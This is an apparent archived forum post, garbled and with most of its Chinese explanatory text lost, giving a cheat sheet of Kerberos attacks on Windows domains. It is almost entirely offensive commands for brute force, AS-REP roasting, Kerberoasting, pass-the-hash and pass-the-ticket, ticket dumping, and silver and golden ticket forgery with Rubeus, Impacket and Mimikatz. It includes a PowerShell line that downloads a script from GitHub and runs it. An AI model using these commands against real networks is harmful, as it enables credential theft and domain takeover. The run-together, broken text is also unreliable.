[957] 2019-12-23_域渗透Kerberos攻击速查表

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-16
2019-12-23_域渗透Kerberos攻击速查表   |   K e r b e r o s   B y p a s s   B y p a s s   2 0 1 9 - 1 2 - 2 3 0 x 0 1   使 k e r b r u t e . p y 使 R u b e u s 0 x 0 2   A S P E P R o a s t 使 I m p a c k e t G e t N P U s e r s . p y 使 R u b e u s : 0 x 0 3   K e r b e r o a s t i n g 使 I m p a c k e t G e t U s e r S P N s . p y 使 R u b e u s : p y t h o n   k e r b r u t e . p y   - d o m a i n   < d o m a i n _ n a m e >   - u s e r s   < u s e r s _ f i l e >   - p a s s w o r d s   < p a s s w o r d s _ f i l e >   - o u t p u t f i l e   < o u t p u t _ f i l e > #   w i t h   a   l i s t   o f   u s e r s . R u b e u s . e x e   b r u t e   / u s e r s : < u s e r s _ f i l e >   / p a s s w o r d s : < p a s s w o r d s _ f i l e >   / d o m a i n : < d o m a i n _ n a m e >   / o u t f i l e : < o u t p u t _ f i l e > #   c h e c k   A S R E P R o a s t   f o r   a l l   d o m a i n   u s e r s   ( c r e d e n t i a l s   r e q u i r e d ) p y t h o n   G e t N P U s e r s . p y   < d o m a i n _ n a m e > / < d o m a i n _ u s e r > : < d o m a i n _ u s e r _ p a s s w o r d >   - r e q u e s t   - f o r m a t   < A S _ R E P _ r e s p o n s e s _ f o r m a t   [ h a s h c a t   |   j o h n ] >   - o u t p u t f i l e   < o u t p u t _ A S _ R E P _ r e s p o n s e s _ f i l e > #   c h e c k   A S R E P R o a s t   f o r   a l l   u s e r s   i n   c u r r e n t   d o m a i n . R u b e u s . e x e   a s r e p r o a s t     / f o r m a t : < A S _ R E P _ r e s p o n s e s _ f o r m a t   [ h a s h c a t   |   j o h n ] >   / o u t f i l e : < o u t p u t _ h a s h e s _ f i l e > h a s h c a t   - m   1 8 2 0 0   - a   0   < A S _ R E P _ r e s p o n s e s _ f i l e >   < p a s s w o r d s _ f i l e > j o h n   - - w o r d l i s t = < p a s s w o r d s _ f i l e >   < A S _ R E P _ r e s p o n s e s _ f i l e > p y t h o n   G e t U s e r S P N s . p y   < d o m a i n _ n a m e > / < d o m a i n _ u s e r > : < d o m a i n _ u s e r _ p a s s w o r d >   - o u t p u t f i l e   < o u t p u t _ T G S s _ f i l e >
使 P o w e r s h e l l 0 x 0 4   P a s s   T h e   H a s h   &   P a s s   T h e   K e y 使 I m p a c k e t 使 R u b e u s P s E x e c 0 x 0 5   P a s s   T h e   T i c k e t   ( P T T ) L i n u x t i c k e t s t i c k e t s F I L E t i c k e t s 使 K E Y R I N G   t i c k e t s 使 t i c k e y . R u b e u s . e x e   k e r b e r o a s t   / o u t f i l e : < o u t p u t _ T G S s _ f i l e > i e x   ( n e w - o b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / E m p i r e P r o j e c t / E m p i r e / m a s t e r / d a t a / m o d u l e _ s o u r c e / c r e d e n t i a l s / I n v o k e - K e r b e r o a s t . p s 1 " I n v o k e - K e r b e r o a s t   - O u t p u t F o r m a t   < T G S s _ f o r m a t   [ h a s h c a t   |   j o h n ] >   |   %   {   $ _ . H a s h   }   |   O u t - F i l e   - E n c o d i n g   A S C I I   < o u t p u t _ T G S s _ f i l e > h a s h c a t   - m   1 3 1 0 0   - - f o r c e   < T G S s _ f i l e >   < p a s s w o r d s _ f i l e > j o h n   - - f o r m a t = k r b 5 t g s   - - w o r d l i s t = < p a s s w o r d s _ f i l e >   < A S _ R E P _ r e s p o n s e s _ f i l e > #   R e q u e s t   t h e   T G T   w i t h   h a s h p y t h o n   g e t T G T . p y   < d o m a i n _ n a m e > / < u s e r _ n a m e >   - h a s h e s   [ l m _ h a s h ] : < n t l m _ h a s h > #   R e q u e s t   t h e   T G T   w i t h   a e s K e y   ( m o r e   s e c u r e   e n c r y p t i o n ,   p r o b a b l y   m o r e   s t e a l t h   d u e   i s   t h e   u s e d   b y   d e f a u l t   b y   M i c r o s o f t ) #   A s k   a n d   i n j e c t   t h e   t i c k e t . R u b e u s . e x e   a s k t g t   / d o m a i n : < d o m a i n _ n a m e >   / u s e r : < u s e r _ n a m e >   / r c 4 : < n t l m _ h a s h >   / p t t g r e p   d e f a u l t _ c c a c h e _ n a m e   / e t c / k r b 5 . c o n f / t m p / k r b 5 c c _ % { u i d } #   T o   d u m p   c u r r e n t   u s e r   t i c k e t s ,   i f   r o o t ,   t r y   t o   d u m p   t h e m   a l l   b y   i n j e c t i n g   i n   o t h e r   u s e r   p r o c e s s e s #   t o   i n j e c t ,   c o p y   t i c k e y   i n   a   r e a c h a b l e   f o l d e r   b y   a l l   u s e r s / t m p / t i c k e y   - i
W i n d o w s t i c k e t s 使 M i m i k a t z P o w e r s h e l l 使 R u b e u s 使 t i c k e t _ c o n v e r t e r . p y L i n u x   /   W i n d o w s t i c k e t s L i n u x 使 使 t i c k e t 使 I m p a c k e t W i n d o w s 使 使 t i c k e t 使 M i m i k a t z t i c k e t 使 R u b e u s t i c k e t 使 P s E x e c c m d   0 x 0 6   S i l v e r   t i c k e t 使 I m p a c k e t m i m i k a t z   #   s e k u r l s a : : t i c k e t s   / e x p o r t . R u b e u s   d u m p #   A f t e r   d u m p   w i t h   R u b e u s   t i c k e t s   i n   b a s e 6 4 ,   t o   w r i t e   t h e   i n   a   f i l e [ I O . F i l e ] : : W r i t e A l l B y t e s ( p y t h o n   t i c k e t _ c o n v e r t e r . p y   t i c k e t . k i r b i   t i c k e t . c c a c h e p y t h o n   t i c k e t _ c o n v e r t e r . p y   t i c k e t . c c a c h e   t i c k e t . k i r b i #   S e t   t h e   t i c k e t   f o r   i m p a c k e t   u s e e x p o r t   K R B 5 C C N A M E = < T G T _ c c a c h e _ f i l e _ p a t h > #   E x e c u t e   r e m o t e   c o m m a n d s   w i t h   a n y   o f   t h e   f o l l o w i n g   b y   u s i n g   t h e   T G T m i m i k a t z   #   k e r b e r o s : : p t t   < t i c k e t _ k i r b i _ f i l e > . R u b e u s . e x e   p t t   / t i c k e t : < t i c k e t _ k i r b i _ f i l e > . P s E x e c . e x e   - a c c e p t e u l a   < r e m o t e _ h o s t n a m e >   c m d #   T o   g e n e r a t e   t h e   T G S   w i t h   N T L M p y t h o n   t i c k e t e r . p y   - n t h a s h   < n t l m _ h a s h >   - d o m a i n - s i d   < d o m a i n _ s i d >   - d o m a i n   < d o m a i n _ n a m e >   - s p n   < s e r v i c e _ s p n >     < u s e r _ n a m e >
使 M i m i k a t z : 使   R u b e u s t i c k e t 使 P s E x e c c m d   0 x 0 7   G o l d e n   t i c k e t 使   I m p a c k e t   使   M i m i k a t z : 使 R u b e u s t i c k e t 使 P s E x e c c m d   0 x 0 8   N T L M 0 x 0 9   #   T o   g e n e r a t e   t h e   T G S   w i t h   N T L M m i m i k a t z   #   k e r b e r o s : : g o l d e n   / d o m a i n : < d o m a i n _ n a m e > / s i d : < d o m a i n _ s i d >   / r c 4 : < n t l m _ h a s h >   / u s e r : < u s e r _ n a m e >   / s e r v i c e : < s e r v i c e _ n a m e >   / t a r g e t : < s e r v i c e _ m a c h i n e _ h o s t n a m e > . R u b e u s . e x e   p t t   / t i c k e t : < t i c k e t _ k i r b i _ f i l e > . P s E x e c . e x e   - a c c e p t e u l a   < r e m o t e _ h o s t n a m e >   c m d #   T o   g e n e r a t e   t h e   T G T   w i t h   N T L M p y t h o n   t i c k e t e r . p y   - n t h a s h   < k r b t g t _ n t l m _ h a s h >   - d o m a i n - s i d   < d o m a i n _ s i d >   - d o m a i n   < d o m a i n _ n a m e >     < u s e r _ n a m e > #   T o   g e n e r a t e   t h e   T G T   w i t h   N T L M m i m i k a t z   #   k e r b e r o s : : g o l d e n   / d o m a i n : < d o m a i n _ n a m e > / s i d : < d o m a i n _ s i d >   / r c 4 : < k r b t g t _ n t l m _ h a s h >   / u s e r : < u s e r _ n a m e > . R u b e u s . e x e   p t t   / t i c k e t : < t i c k e t _ k i r b i _ f i l e > . P s E x e c . e x e   - a c c e p t e u l a   < r e m o t e _ h o s t n a m e >   c m d p y t h o n   - c   ' i m p o r t   h a s h l i b , b i n a s c i i ;   p r i n t   b i n a s c i i . h e x l i f y ( h a s h l i b . n e w ( " m d 4 " ,   " < p a s s w o r d > " . e n c o d e ( " u t f - 1 6 l e " ) ) . d i g e s t ( ) ) ' k e r b r u t e . p y h t t p s : / / g i t h u b . c o m / T a r l o g i c S e c u r i t y / k e r b r u t e
k e r b r u t e . p y h t t p s : / / g i t h u b . c o m / T a r l o g i c S e c u r i t y / k e r b r u t e R u b e u s h t t p s : / / g i t h u b . c o m / Z e r 1 t 0 / R u b e u s P s E x e c h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c I m p a c k e t h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t t i c k e y h t t p s : / / g i t h u b . c o m / T a r l o g i c S e c u r i t y / t i c k e y M i m i k a t z h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则